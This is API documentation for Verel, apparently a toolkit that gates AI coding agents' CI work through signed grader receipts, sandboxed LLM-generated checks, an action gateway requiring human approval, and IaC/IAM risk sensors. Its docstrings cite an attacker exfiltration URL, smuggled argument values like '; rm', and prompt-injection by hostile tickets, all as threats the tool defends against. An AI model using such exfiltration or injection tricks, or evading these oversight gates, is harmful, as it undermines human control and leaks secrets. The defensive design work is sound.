Python API¶
The verdict bus, senses, and CI stages are all importable. Example — gate any repo:
from verel.ci import inner_loop_stage, run_stage
result = run_stage(inner_loop_stage(".", with_lint=True))
print(result.verdict) # pass / warn / fail
The verdict contract¶
models ¶
The Verdict-bus data model — the unified Report/Percept contract.
This is an extension of AgentVision's Report reached through the sight adapter
(verel.senses.sight), NOT a copy. Fields marked COMPUTED are produced by Verel:
Issue.fingerprint, Report.cost_usd, Report.errored, Report.run_receipt.
SignableReceipt ¶
Bases: Protocol
The structural shape the signing/verification machinery (gate, keys) operates on — shared
by RunReceipt (per-grader) and GateReceipt (gate-level envelope) so both reuse one signer.
RunReceipt ¶
Bases: BaseModel
Grader-execution attestation (§7.1). Required for graders in the required set.
Two-tier signing (§11): alg="hmac-sha256" (default) is fast and shared within a trust domain;
alg="ed25519" is publicly verifiable across domains — runner_identity carries ed25519:<key_id>
and verify needs only the producer's PUBLIC key, no shared secret.
Report ¶
Bases: BaseModel
EXTENSION of AgentVision's Report via the §8.3 adapter.
Observation ¶
Bases: BaseModel
One percept observation — the per-issue payload of a Percept.
Percept ¶
Bases: BaseModel
The senses/perception-bus envelope (§8.3). Sight is one sense among many.
ReceiptKind ¶
Bases: str, Enum
Two-tier receipt model for QuineOS (design change DC-04).
COMMITTED — irreversible actions. Synchronously blocking: nothing advances until the receipt is durably written. Non-revocable. The gate MUST complete before the caller gets a response.
OPTIMISTIC — advisory / read-only / idempotent actions. Signed asynchronously; revocable if a later grader invalidates it. Use for actions where the cost of the blocking round-trip exceeds the risk of the action. The caller may proceed before the receipt is committed, but must honour a subsequent REVOKE from the store.
ReceiptVerification ¶
Bases: BaseModel
Result of the public verify verb (§11) — did a receipt check out, and could a stranger?
GraderAttestation ¶
Bases: BaseModel
One grader's line in a gate-level receipt (§4): its verdict + the signed RunReceipt that
attests it actually ran. Advisory graders (vision/llm) inform but never gate, so they may omit
a receipt; a precise grader in the gate's required set must carry a verifiable one.
GateReceipt ¶
Bases: BaseModel
The gate-level receipt (§4) — the headline wedge surfaced over MCP. Wraps the per-grader RunReceipts so a SECOND party can confirm an agent's verdict was real.
The whole envelope is SIGNED (signing_payload binds verdict + fingerprint + identity, alg
first), so the aggregate verdict and the grader set are cryptographically bound — not merely
fingerprinted. Without that signature an attacker could flip the verdict or relabel a grader
precise=false (to skip its signature check) and just recompute the unsigned fingerprint. The
same field shape as RunReceipt lets it reuse the ed25519/HMAC signing machinery (keys, gate).
GateReceiptVerification ¶
Bases: BaseModel
Result of verifying a gate-level receipt: did the fingerprint recompute and every precise grader's signature check out — and was the whole thing publicly verifiable (ed25519)?
report_result_digest ¶
report_result_digest(report: Report) -> str
Digest of a report's graded OUTCOME — bind EVERY field the gate trusts so a Report tampered
after signing is rejected (§7.1). That means not just verdict + issue (kind, severity, message)
but also confidence and source (the gate clamps severity by these) and errored (the
dead-gate path) — otherwise an attacker flips confidence HIGH→LOW to clamp a CRITICAL to WARNING
while the receipt still matches.
The gate¶
gate ¶
The Gate — a typed reducer with an explicit CEILING clamp + grader attestation (§7.1), plus generalized stuck/progressed detection (§7.2).
This is the single most load-bearing safety surface in Verel. Every rule here is the direct output of the design's critic loop; do not "simplify" the clamp to a min-by-key.
sign_receipt ¶
sign_receipt(receipt: SignableReceipt, secret: bytes = _RUNNER_SECRET) -> str
Sign per receipt.alg. ed25519 signs with the local runner's key (the caller must have
stamped runner_identity/public_key first — see keys.attest_self); hmac-sha256 (default)
keys off the shared trust-domain secret.
verify_signature ¶
verify_signature(receipt: SignableReceipt, secret: bytes = _RUNNER_SECRET, *, allowed_algs: set[str] | None = None) -> bool
True iff the receipt's signature is valid under its alg. Fails CLOSED on: empty signature,
an alg outside allowed_algs (when a policy is given), an unknown alg, ed25519 with an untrusted
key, or PyNaCl absent. ed25519 needs only a trusted PUBLIC key (no shared secret).
verify_receipt ¶
verify_receipt(receipt: SignableReceipt, *, secret: bytes = _RUNNER_SECRET, allowed_algs: set[str] | None = None) -> ReceiptVerification
The public verify verb (§11): check a receipt and explain the result — including whether it
was publicly verifiable (ed25519 against a trusted public key) or shared-secret (HMAC).
coverage_satisfied ¶
coverage_satisfied(coverage_assertion: str, diff_files: set[str]) -> bool
The grader must prove it scanned at least one changed file.
coverage_assertion is of the form "scanned files: a.py,b.py". An empty diff set is
treated as satisfied (nothing changed to cover).
progressed ¶
progressed(curr: Report, prev: Report) -> bool
STRICT subset shrinkage of the gating-failure set. Equal-cardinality swaps and growth are NOT progress (a decoy that adds a new gating issue is a regression).
Issue fingerprints¶
Stable, content-addressed identity for an issue — so the same defect dedupes across runs and a fixed
issue can be recognised as gone. assign stamps fingerprints onto a report; issue_signature
reduces a report to its set of (kind, fingerprint) pairs; canonicalize normalises a message.
fingerprint ¶
Scrubbed, Nirvana-computed fingerprints + issue-set signature (§7.2).
AgentVision's issue_signature is message-based (message.strip().lower()), which is too
brittle to be the fleet-wide identity: any line number / seed / timestamp / float yields a
new signature -> progressed=true forever -> stuck never fires. Verel computes a scrubbed
fingerprint per GraderKind and recomputes progressed/stuck from its own log.
canonicalize ¶
canonicalize(msg: str) -> str
Scrub volatile tokens so the same logical failure hashes stably across reruns.
fingerprint ¶
fingerprint(i: Issue) -> str
Per-GraderKind stable identity for one issue. NIRVANA-computed.
assign ¶
assign(report: Report) -> Report
Populate fingerprint on every issue in place; returns the same report.
issue_signature ¶
issue_signature(report: Report) -> frozenset[tuple[str, str]]
Identity of the issue set — used for progress/stuck detection.
Senses (the eyes)¶
sight ¶
The sight sense — AgentVision adapter (§8.2, §8.3).
Faithful rules enforced here:
- Grader identity & precise-vs-advisory key off Issue.source (closed dom/ocr/cv/vision),
NEVER off Report.backend (an open provenance string).
- The "reachable without a vision backend" capability set is imported from
agentvision.core.checks.CLASSIC_CAPABILITIES, not hand-transcribed (drift-proof).
- One AgentVision Report is split into one Verel Report per source-grader, so the Gate's
report-level advisory clamp (§7.1) is exactly correct (a vision report clamps to WARN; a
dom report does not). A single combined Percept is emitted for the episodic log.
- Issue.fingerprint, errored, and the synthetic-fallback filter are COMPUTED here.
AgentVision is an OPTIONAL dependency: import it lazily so the verdict-bus core has no
heavy deps. Install with pip install "verel[sight]".
SightResult
dataclass
¶
What the sight sense produces for one saccade (one analyze call).
classic_capabilities ¶
classic_capabilities() -> set[str]
The kinds the no-LLM (local/checks) path can emit, imported from source so it
cannot silently drift from AgentVision.
from_agentvision ¶
from_agentvision(av_report, *, sense: str = 'sight', agent_id: str = '', artifact_id: str = '', cost_usd: float = 0.0) -> SightResult
Map a real agentvision.models.report.Report into the Verel verdict-bus contract.
Pure function over the AgentVision object — no rendering, no I/O.
perceive
async
¶
perceive(source: str, *, backend: str = 'local', agent_id: str = '', full_page: bool = True, allow_local: bool = False, settings_overrides: dict | None = None, **analyze_kwargs) -> SightResult
Render + analyze source through AgentVision, return the Verel SightResult.
Thin wrapper over agentvision.analyze(...). Requires verel[sight].
SSRF: AgentVision's block_private_networks guard is left ON by default — source is
attacker/agent-controlled, so localhost/LAN/metadata endpoints are refused. allow_local=True
is an EXPLICIT opt-in (e.g. an agent verifying its own dev server) that disables the guard.
watch
async
¶
watch(source: str, *, backend: str = 'local', agent_id: str = '', **watch_kwargs) -> SightResult
Temporal perception — watch source OVER TIME (playback / loading / liveness).
Thin wrapper over agentvision.watch(...); returns the same Verel SightResult so the
verdict bus and brain consume it like any other sense. A deterministic stall (video not
advancing) gates to FAIL; the temporal vision findings are advisory/clamped. The percept
carries playing/live/stabilized so the brain can compound "playback verified".
Requires verel[sight].
CI stages & self-healing¶
pipeline ¶
Agent-run CI/CD pipeline — inner loop + pre-commit gate (§7.4, v1 stages).
Stages compose graders (any sense) and gate them through the verdict bus with attestation. The pre-commit stage additionally consults failure-memory: a change that reintroduces a previously-fixed failure is gated FAIL from memory alone (§7.5), and new gating failures are recorded so the fleet stops repeating them. This is "CI run by agents" with the same safety contract as everything else — nothing is green unless a grader said so.
run_stage ¶
run_stage(stage: Stage, *, diff_files: set[str] | None = None, runner: Runner = subprocess_runner, ledger: FailureLedger | None = None, ts: float = 0.0, flaky_signatures: set[str] | None = None, attest: str = 'hmac') -> StageResult
Run all graders in a stage, gate them, and (if a ledger is given) apply the
failure-memory regression check + record new gating failures. attest selects the receipt
scheme: "hmac" (default) or "ed25519" (publicly verifiable, needs verel[attest]).
precommit_stage ¶
precommit_stage(repo: str, *, covers: list[str] | None = None, language: str = 'python') -> Stage
Unit + affected tests + lint; the failure-memory fingerprint check is applied by run_stage when a ledger is passed.
postmerge_stage ¶
postmerge_stage(repo: str, *, smoke_paths: list[str] | None = None, covers: list[str] | None = None, language: str = 'python') -> Stage
Smoke/E2E canary on the merged code (§7.4). A failing canary on PRECISE evidence is what the rollback policy engine acts on (canary.py).
premerge_stage ¶
premerge_stage(repo: str, *, covers: list[str] | None = None, language: str = 'python', with_types: bool = True, security: bool = False, perf: GraderSpec | None = None, mutation: list[str] | None = None) -> Stage
Full suite + lint (+types) — the sandbox-CI gate before a merge is allowed (§7.4).
Optionally adds a SECURITY scanner (HIGH/CRITICAL gate), a PERF budget grader, and a MUTATION
test-effectiveness grader (mutation = the changed source files to mutate; Python only). Pair
with a regression-guard by passing a ledger to run_stage.
heal ¶
Self-healing CI (§7.4 v2) — the ci-medic actually executes its remediations.
Run a stage; if it fails, triage each failure and act — RETRY re-runs, QUARANTINE_FLAKY downgrades (ERROR→WARNING, ticketed), FIX_BRANCH invokes the code-fixer agent — then re-gate. Repeat until PASS or the rounds run out (escalate to a human with the trail). The agent only proposes patches; the graders decide done, every round.
Verified-Review graders¶
Test-effectiveness (mutation), spec/intent conformance, business-rule invariants, over-engineering smell, and the action gateway — all importable, all on the verdict bus.
Test-effectiveness (mutation)¶
mutation ¶
Test-effectiveness via mutation testing (§ Verified Review, grader A).
A green suite proves nothing if it asserts nothing. This injects small faults ("mutants") into the
changed source and re-runs the suite: a mutant the suite still passes is a survivor — the
tests don't actually constrain that line. Survivors are hard, deterministic evidence (not an LLM
hunch), so the grader gates (GraderKind.MUTATION ∈ PRECISE_GRADERS).
Zero-dependency: a tiny ast-based mutator over a focused, high-signal operator set. Diff-scoped
(mutate only changed lines) to stay under the CI budget. The suite is the user's OWN tests — same
trust model as the existing TEST grader — so no new sandbox surface.
python -m verel.ci.mutation --repo R --targets a.py,b.py prints one JSON line for the grader.
generate_mutants ¶
generate_mutants(source: str, *, lines: set[int] | None = None, cap: int = 25) -> list[Mutant]
Generate up to cap single-point mutants of source. If lines is given, only mutate sites
on those (changed) lines. Each mutant re-parses a fresh tree and mutates exactly one site, so the
others stay pristine.
run_mutation ¶
run_mutation(repo: str, targets: list[str], *, lines_by_file: dict[str, set[int]] | None = None, test_args: list[str] | None = None, cap_per_file: int = 25, timeout: int = 60, total_budget_s: float = 240.0) -> MutationResult
Mutate each target file's changed lines, run the suite per mutant, collect survivors.
Requires a GREEN baseline: test-effectiveness is meaningless on a red suite, so if the unmutated
suite doesn't pass we report baseline_pass=False and assess nothing. Files are always restored.
total_budget_s bounds the WHOLE run's wall-clock and MUST stay safely under the grader's outer
subprocess timeout (300s): a new mutant is only started if its worst case (timeout) still fits
the budget, so the process always reaches its restore loop and exits cleanly — it can never be
SIGKILL'd by the outer timeout mid-mutation, which would leave a mutated file on disk.
Spec / intent conformance¶
spec ¶
Spec / intent conformance grader (Verified Review, grader B) — "the ticket says A, the code does B".
The naive move ("ask an LLM if the code matches the ticket") is just another unreliable opinion. This keeps Verel's invariant — the LLM proposes, execution verifies, only an executed check gates:
- Extract checkable acceptance criteria from the TICKET (the human-written PR/issue text — never the agent's diff, so the agent can't write the spec to match its own bug).
- Compile each criterion to N independent
pytestchecks that assert it against the repo's API. - Execute each check in a sandboxed subprocess (no network, wall-clock timeout, rlimits).
- Majority-vote per criterion over the conclusive checks: a strict majority FAIL → the criterion
is violated → a grounded
INTENT_MISMATCHERROR that GATES (a single wrong generated test can't false-fail a merge). All checks errored/unrunnable → unverified → an advisory WARNING (we never claim to verify what we couldn't execute).
The model only ever proposes checks; a hallucinated judge can neither block a good merge (a wrong
check is outvoted / inconclusive → advisory) nor pass a broken one (it can't make a failing executed
test pass). The grader signs a RunReceipt over the frozen generated suite, like the CONTRACT grader.
SpecIsolationError ¶
Bases: RuntimeError
Raised when generated checks must run but no OS-isolation (bwrap) is available.
public_api ¶
public_api(repo: str, files: list[str]) -> str
A compact 'module: name, name' summary of the changed files' top-level defs/classes, so the
generator knows what to import and assert against. Pure ast — never imports the code.
extract_criteria ¶
extract_criteria(criteria_text: str, *, chat: SpecChatFn) -> list[Criterion]
LLM → a list of checkable acceptance criteria. Non-JSON / empty replies yield [].
generate_checks ¶
generate_checks(criterion: Criterion, api_summary: str, *, chat: SpecChatFn, n: int = 2) -> list[str]
LLM → up to n independent pytest test sources asserting criterion against the repo API.
is_safe_check ¶
is_safe_check(test_source: str, allowed_modules: set[str]) -> bool
True iff the generated test only imports the repo's modules + a stdlib assertion whitelist and
calls no code-exec/file/process builtins. Unparseable or anything outside the allowlist → False
(refused, never executed). This contains prompt-injection: the model can't smuggle import os.
run_check ¶
run_check(repo: str, test_source: str, *, timeout: int = 30, allowed_modules: set[str] | None = None, isolation: str = 'container') -> str
Execute one LLM-generated pytest test against repo. Returns pass|fail|error.
The generated test is UNTRUSTED (steered by a possibly-hostile ticket), so by default it runs ONLY
inside real OS isolation (isolation="container": bwrap no-net + read-only fs + seccomp). When
bwrap is unavailable it fails closed — error (the check is NOT run, the criterion stays
unverified → advisory). Static analysis (is_safe_check) is a cheap defense-in-depth pre-filter,
NEVER the boundary (a blocklist can't sandbox a Turing-complete language). isolation="subprocess"
is an explicit, documented opt-out for a TRUSTED-LOCAL repo+ticket only (rlimit subprocess, no
network isolation) — never use it on external-contributor PR text.
tally ¶
tally(check_results: list[str]) -> str
Majority vote over conclusive checks. Strict majority of fails → 'violated'; else if any conclusive → 'satisfied'; all errored/none → 'unverified'. Conservative: a tie does NOT gate.
grade_spec ¶
grade_spec(repo: str, criteria_text: str, changed_files: list[str], *, chat: SpecChatFn, n: int = 2, timeout: int = 30, runner_identity: str = 'spec-grader', isolation: str = 'container') -> Report
Grade the diff against the ticket's intent. Returns a signed CONTRACT Report: a grounded
INTENT_MISMATCH ERROR per violated criterion (gates), an advisory WARNING per unverified one.
isolation="container" (default) runs each generated check under bwrap OS-isolation and FAILS
CLOSED (the criterion stays unverified/advisory) when bwrap is absent — never executing untrusted
ticket-derived code in-process. Use isolation="subprocess" ONLY for a trusted-local repo+ticket.
default_chat ¶
default_chat(**kw) -> SpecChatFn
The real LLM chat as a SpecChatFn (returns the model's text). Lazy-imports the provider so
the grader's pure helpers stay importable without an LLM configured.
grade_pr ¶
grade_pr(repo: str, repo_full_name: str, number: int, *, token: str | None = None, api: str = 'https://api.github.com', chat: SpecChatFn | None = None, n: int = 2) -> Report
R2→B: fetch a PR's acceptance criteria + changed files from GitHub, then grade the repo against that intent. The 'ticket' comes from the team's GitHub, not a new format.
Business-rule / invariant¶
invariants ¶
Business-rule / invariant grader (Verified Review, grader C) — "business rules get ignored".
Declared invariants — "an order total always includes tax", "a refund never exceeds the charge" —
compiled to executable property checks and run against the repo; a falsified invariant gates. Unlike
the spec grader (B), the rules are human-declared (a verel_invariants.yaml/.txt in the repo,
or passed in), not extracted from a possibly-hostile ticket — so the injection surface is smaller.
Everything else reuses B's hardened pipeline: the LLM compiles N independent checks per invariant,
they run under the SAME bwrap OS-isolation + fail-closed (verel.ci.spec.run_check), a majority
vote decides (one wrong generated check can't false-fail a merge), and a signed receipt is emitted.
load_invariants ¶
load_invariants(repo: str) -> list[Invariant]
Read declared invariants from verel_invariants.{yaml,yml,txt} in repo. One per non-empty,
non-# line (a leading id: is optional). Returns [] if no file is present.
grade_invariants ¶
grade_invariants(repo: str, invariants: Sequence[Invariant | str], changed_files: list[str], *, chat: SpecChatFn, n: int = 2, timeout: int = 30, runner_identity: str = 'invariant-grader', isolation: str = 'container') -> Report
Grade the repo against declared invariants. Returns a signed CONTRACT Report: a grounded
ERROR per falsified invariant (gates), an advisory WARNING per one that couldn't be grounded.
Over-engineering smell¶
smell ¶
Over-engineering / scope-creep smell grader (Verified Review, grader D) — "random abstractions for problems nobody was trying to solve".
This is eventually the smell organ olfel's job (ORGANISM.md). Until olfel is scheduled it
lives here as a self-contained, dependency-free module that emits standard verdict-bus Reports, so it
lifts into olfel later unchanged. It is deterministic ast analysis only — no code execution,
so it carries no sandbox/injection surface (unlike the spec/invariant graders):
- Cyclomatic complexity per changed function. Over the budget → a gating
SMELL/COMPLEXITYERROR (deterministic, inPRECISE_GRADERS). - Speculative generality — a new top-level class/function in the changed files that is referenced nowhere in the repo (an abstraction nobody needed yet) → an advisory WARNING.
The optional "this abstraction solves a problem not in the ticket" judgment is left to an LLM layer (advisory); the gating signal is the hard, countable complexity metric.
cyclomatic_complexity ¶
cyclomatic_complexity(fn: AST) -> int
McCabe complexity of a function node: 1 + one per decision point (branch / loop / boolean operand beyond the first / comprehension clause).
file_complexity ¶
file_complexity(source: str) -> dict[str, int]
{function_name: complexity} for a module source ({} if it doesn't parse).
grade_smell ¶
grade_smell(repo: str, changed_files: list[str], *, complexity_budget: int = 12, flag_speculative: bool = True) -> Report
Grade the changed files for over-engineering. A function over complexity_budget gates
(deterministic ERROR); a new public def/class referenced nowhere in the repo is an advisory
WARNING (speculative generality).
Action gateway¶
gateway ¶
Action gateway — gate the boundary, not just the loop (the "Reach" capstone, G).
The agent calls its normal tools (write_file, create_pr, deploy, delete_*); this sits in
front and gates the consequential ones: a verdict decides whether an action forwards, and an
irreversible action is dry-run by default and requires explicit human approval. The agent needn't
know the gateway exists.
This is enforcement that will eventually be immel (boundary/policy) and actel (act-then-verify).
It is built here now, but behind a clean three-layer seam so it lifts out later as a package move,
not a rewrite:
- verdict — decide: classify the action and (for consequential ones) gate the artifact.
- enforce — forward / block / dry-run / require-approval / rollback: the policy decision.
- adapters — the actual tool invocation (
invoke) and approval channel (approve), injected.
Non-negotiables (the actel/immel rules), honored from day one: * Fail closed — an unclassifiable action, a missing gate, or a denied tool does NOT forward. * Dry-run by default for irreversible/destructive actions; human approval required to apply. * Never auto-apply a destructive op on advisory evidence.
Policy
dataclass
¶
What the gateway allows. deny always wins (fail closed); allow (if non-empty) is an
allowlist. dry_run (default True) means irreversible actions are never applied without explicit
approve. auto_consequential lets safe-classified writes through without an artifact gate.
Gateway ¶
Front a set of tools with the gate. invoke performs the real action; gate (optional)
returns a verdict for a consequential action's artifact; approve (optional) is the human channel
for irreversible actions. With neither gate nor approve, the gateway still fails closed.
repo_gate ¶
repo_gate(repo: str = '.') -> GateFn
A ready-made gate adapter that runs the Verel CI gate on repo and returns its verdict — so
a consequential action only forwards when the repo currently passes. NOTE: this is a
pre-condition gate (is the repo green BEFORE the action?), not an artifact-level check of what
the action produces — verifying the post-action world is actel's act-then-verify job.
IaC / cloud-IAM graders & actuators¶
The offline IaC/IAM change sensor (Terraform plan + cloud IAM across AWS/GCP/Azure), the native Kubernetes RBAC sensor, the plan-bound Terraform actuator, and the opt-in effective-access verifier.
IaC / cloud-IAM sensor¶
iac ¶
IaC graders + the cloud-IAM change sensor (IAC-KICKOFF.md, Phase 1).
Functional graders are blind to infrastructure intent and to cloud-IAM blast radius: a dangerous
grant rides inside a 200-resource terraform plan, passes every test/lint/type gate, and only
surfaces as an incident or a failed audit later. These graders make IaC a first-class sense on the
verdict bus and catch dangerous IAM changes before apply.
Three things live here, all PURE over canned tool output (the Runner is injected, so the whole
matrix runs offline with no terraform/trivy installed):
parse_terraform_validate— syntax/schema errors gate (GraderKind.IAC).parse_terraform_plan— aterraform show -jsonplan → destroy/replace visibility (IAC_DRIFT) + the IAM sensor (IAM_RISK).parse_trivy_config— IaC misconfiguration scan (GraderKind.SECURITY).
The IAM sensor (extract_iam_changes + iam_risk_issues) is the valuable core: it normalizes an
IAM-affecting change from any provider into one shape and runs deterministic risk rules
(wildcard / privilege-escalation / public-principal / admin-grant / open-ingress) that GATE.
plan_summary / destructive_changes feed the Phase-4 gateway escalation.
IamChange
dataclass
¶
A normalized IAM-affecting change (IAC-KICKOFF.md). after is the planned resource state the
risk rules evaluate; change_type drives gateway escalation.
safe_path ¶
safe_path(value: str, what: str = 'path') -> str
A path argument: charset-safe AND no remote scheme (https:///oci:// — kubectl -f and
helm template FETCH those: SSRF / hostile remote chart) AND no .. traversal segment.
parse_terraform_validate ¶
parse_terraform_validate(out: str, err: str = '') -> list[Issue]
terraform validate -json: {"valid":bool,"diagnostics":[{severity,summary,detail,range}]}.
extract_iam_changes ¶
extract_iam_changes(plan: dict) -> list[IamChange]
Pull IAM-affecting resource_changes out of a terraform show -json plan document.
iam_risk_issues ¶
iam_risk_issues(changes: list[IamChange]) -> list[Issue]
Run the deterministic risk rules over normalized IAM changes → gating IAM_RISK issues.
plan_summary ¶
plan_summary(plan: dict) -> dict[str, int]
Count planned actions by kind — feeds the gateway escalation and the report summary.
destructive_changes ¶
destructive_changes(plan: dict) -> list[str]
Addresses with a planned destroy or replace — the gateway escalates these to IRREVERSIBLE.
provisioner_resources ¶
provisioner_resources(plan: dict) -> list[str]
Addresses of resources that run an ARBITRARY PROGRAM at apply/refresh whose side effects are
INVISIBLE to resource_changes/after — the canonical "clean plan, dirty apply". Covers a
local-exec/remote-exec PROVISIONER (round-6 P1) AND an external DATA SOURCE
(data "external" { program = [...] }, runs every refresh — round-7 F5). Gated ERROR/IRREVERSIBLE.
http_data_sources ¶
http_data_sources(plan: dict) -> list[str]
Addresses of data "http" sources — they issue a GET at every plan/refresh and can EXFILTRATE
via URL interpolation (url = "http://attacker/?t=${secret}") or SSRF. Lower-risk than an exec
program (GET only, and http has legitimate uses), so surfaced as an ADVISORY (round-8 F2).
parse_terraform_plan ¶
parse_terraform_plan(out: str, err: str = '') -> list[Issue]
A terraform show -json plan → IAC_DRIFT issues (destroy/replace, INFO: visibility, won't gate
at the reducer) + IAM_RISK issues (gating). Note: planned destroy/replace is surfaced for review
and gateway escalation, not auto-failed — a legitimate destroy must not hard-fail the gate.
parse_trivy_config ¶
parse_trivy_config(out: str, err: str = '') -> list[Issue]
trivy config --format json: {"Results":[{"Target","Misconfigurations":[{ID,Severity,Title,
CauseMetadata:{StartLine}}]}]}.
terraform_plan_spec ¶
terraform_plan_spec(repo: str, planfile: str = 'tfplan.bin', covers: list[str] | None = None, *, binary: str = 'terraform')
Grade a PRE-EXISTING binary plan (produced by the actuator's plan -out=tfplan.bin) via
terraform show -json. Grading the bound plan file — not a re-plan — is what makes the receipt's
input binding meaningful (TOCTOU defense, IAC-KICKOFF.md §plan-binding).
parse_tflint ¶
parse_tflint(out: str, err: str = '') -> list[Issue]
tflint --format json: {"issues":[{rule:{name,severity},message,range:{filename,start:{line}}}],
"errors":[...]}. tflint internal errors (bad config) are surfaced as ERROR — a grader that could
not actually lint is not a clean pass.
parse_checkov ¶
parse_checkov(out: str, err: str = '') -> list[Issue]
checkov -o json: {"results":{"failed_checks":[{check_id,check_name,file_path,
file_line_range:[start,end],severity,resource}]}} (or a list across frameworks). Only failures.
parse_conftest ¶
parse_conftest(out: str, err: str = '') -> list[Issue]
conftest -o json: [{filename,namespace,failures:[{msg}],warnings:[{msg}],successes:int}].
failures gate (ERROR); warnings advise (WARNING).
conftest_spec ¶
conftest_spec(repo: str, paths: list[str], *, policy_dir: str = 'policy', covers: list[str] | None = None)
Policy-as-code gate. Convention (the "policy bundle"): rego policies live in policy_dir in the
repo, versioned alongside the IaC they govern; signing/distribution of shared bundles is a later
item (IAC-KICKOFF.md §open-risks).
parse_infracost ¶
parse_infracost(out: str, err: str = '', budgets: dict[str, float] | None = None) -> list[Issue]
infracost --format json: {totalMonthlyCost, diffTotalMonthlyCost, currency}. Gates only when a
declared budget is exceeded — budgets={"monthly": 1000} and/or {"diff": 200}.
parse_parliament ¶
parse_parliament(out: str, err: str = '') -> list[Issue]
parliament --json: a list of findings [{issue,title,severity,detail,location}]. Severity
HIGH/CRITICAL gate; MEDIUM/LOW advise (same severity floor as the other security graders).
parse_cloudsplaining ¶
parse_cloudsplaining(out: str, err: str = '') -> list[Issue]
Cloudsplaining scan JSON: {policy_or_role_name: {PrivilegeEscalation:[...], ResourceExposure:[...], DataExfiltration:[...], CredentialsExposure:[...], ...}}. Each non-empty risk bucket → an IAM issue grounded on the policy name.
Kubernetes RBAC sensor¶
k8s ¶
Kubernetes graders + the native RBAC sensor (IAC-KICKOFF.md, Phase 3).
Renders/validates manifests and grades them on the verdict bus, and — Capture B of the IAM change sensor — extracts dangerous RBAC out of native Kubernetes manifests before they apply:
extract_rbac_risks— pure over parsed manifest dicts: wildcard rules, escalate/bind/impersonate, cluster-wide secret read, cluster-admin / system:masters bindings, anonymous subjects (IAM).parse_kube_objects— JSON manifests (a List object / array / single / NDJSON, e.g.kubectl ... -o json) → the RBAC sensor. No YAML dependency.parse_helm_template—helm templateYAML output → the RBAC sensor (lazypyyaml, inverel[iac]).parse_kube_score/parse_kube_linter/parse_polaris— config posture scanners (SECURITY).
All parsers are pure over canned tool output (the Runner is injected), so the matrix runs offline.
The terraform-provider RBAC path (snake_case) lives in iac.py::_k8s_rbac; this module handles native
camelCase manifests — same risk vocabulary, different surface.
extract_rbac_risks ¶
extract_rbac_risks(manifests: list) -> list[Issue]
Run the deterministic RBAC risk rules over native Kubernetes manifest dicts → IAM issues.
parse_kube_objects ¶
parse_kube_objects(out: str, err: str = '') -> list[Issue]
JSON Kubernetes manifests → RBAC risk sensor (no YAML dependency).
parse_helm_template ¶
parse_helm_template(out: str, err: str = '') -> list[Issue]
helm template YAML (multi-doc) → RBAC risk sensor. YAML support is lazy (pyyaml, in
verel[iac]); without it the RBAC scan is skipped with a visible WARNING (not a silent green).
parse_kube_score ¶
parse_kube_score(out: str, err: str = '') -> list[Issue]
kube-score --output-format json: a list of {object_name, checks:[{check:{id,name},grade,
comments:[{summary}]}]}. grade 1=critical, 5/7=warning, 10=ok. <=1 gates, <10 advises.
parse_kube_linter ¶
parse_kube_linter(out: str, err: str = '') -> list[Issue]
kube-linter lint --format json: {"Reports":[{Check,Diagnostic:{Message},
Object:{K8sObject:{Namespace,Name,GroupVersionKind:{Kind}}}}]}. No severity → WARNING.
parse_polaris ¶
parse_polaris(out: str, err: str = '') -> list[Issue]
polaris audit --format json: {"Results":[{Name,Namespace,Kind, ...nested checks...}]}. Each
failed check carries a Severity (danger→ERROR, warning→WARNING) and a Message.
kubectl_dryrun_spec ¶
kubectl_dryrun_spec(repo: str, path: str = '.', covers: list[str] | None = None)
Validate + RBAC-scan manifests via client-side dry-run (no cluster needed).
grade_iac ¶
grade_iac(repo: str, *, plan: str | None = None, manifests: str | None = None) -> Report
Grade IaC artifacts OFFLINE into one IAC Report (no cloud creds, nothing applied): a
terraform show -json plan (drift + the cloud-IAM change sensor) and/or Kubernetes manifests as
JSON (the RBAC sensor). Verdict reduces by gating severity — a wildcard/privesc/public/admin grant
(ERROR/CRITICAL) FAILs; a planned destroy/replace is surfaced (INFO, does not gate.
Terraform actuator (act-then-verify)¶
terraform ¶
Terraform/OpenTofu actuator — act-then-verify (IAC-KICKOFF.md Phase 4).
The agent calls its normal tools; the gateway (verel.gateway) gates the consequential ones. This actuator is what runs behind a forwarded terraform action — and it enforces the IaC-specific non-negotiables the generic gateway can't:
- plan — produce a BOUND binary plan (
plan -out), its digest, and an IAC verdict (drift + the IAM sensor). The digest binds the exact bytes that were graded. - act — apply EXACTLY the approved plan file. A digest mismatch (a re-plan or file substitution between approval and apply) is REFUSED, never applied — the plan-binding / TOCTOU defense. This stops accidental re-plans and cross-trust-domain swaps; a same-uid adversary who controls the working dir is out of scope without OS isolation (actel) — see R-007.
- watch — re-plan after apply; PASS only when the world converged (no remaining drift).
Honored from day one (the actel/immel rules):
* Dynamic escalation — destroy/replace OR IAM widening in the bound plan ⇒ IRREVERSIBLE (dry-run +
human approval); pure create/no-op ⇒ CONSEQUENTIAL (verdict-gated). Fed to the gateway via the
documented Policy.overrides hook (escalation_override).
* Fail closed — a failed/unparseable plan, a missing planfile, a digest mismatch, or an
un-approved irreversible action does NOT apply.
* Argv only — every command is argv (no shell); operator-influenced args (binary, planfile) are
charset-validated so a value like -rf or ; rm can't smuggle an option / shell metachar.
The command runner and the planfile reader are injected, so the whole module is unit-tested offline with no terraform installed.
TerraformActuator ¶
Plan/act/watch for a terraform/tofu working directory. Inject runner/read_bytes for tests.
plan ¶
plan() -> PlanResult
Produce a bound binary plan, grade it (drift + IAM), and classify the apply.
act ¶
act(approved_digest: str) -> ActResult
Apply EXACTLY the bound plan. Refuses unless the planfile's CURRENT digest equals the approved digest — a re-plan or file swap between approval and apply is rejected, not applied. (Human-approval gating for IRREVERSIBLE actions is the gateway's job, upstream of this.)
SCOPE (honest): the digest re-check closes accidental re-plans and any cross-trust-domain / cross-process swap. It does NOT close a same-uid adversary who can rewrite the planfile in the sub-millisecond window between this check and terraform re-opening it by path — that requires running the actuator in a separate trust domain (the actel OS-isolation story). See R-007.
destroy ¶
destroy(*, approved: bool = False) -> ActResult
Destroy is inherently IRREVERSIBLE — refuses unless the caller (the gateway, post human approval) passes approved=True.
watch ¶
watch() -> Report
Act-then-verify: re-plan after apply. -detailed-exitcode → 0 no changes (converged),
2 changes remain (drift), 1 error.
plan_digest ¶
plan_digest(data: bytes) -> str
Identity of a binary plan file — the bound digest the gate approves and act re-checks.
escalate ¶
escalate(plan_json: dict, *, base: ActionClass = ActionClass.CONSEQUENTIAL) -> tuple[ActionClass, list[str]]
Destroy/replace OR IAM widening ⇒ IRREVERSIBLE (dry-run + human approval); else base
(CONSEQUENTIAL, verdict-gated). Returns (class, human-readable reasons).
escalation_override ¶
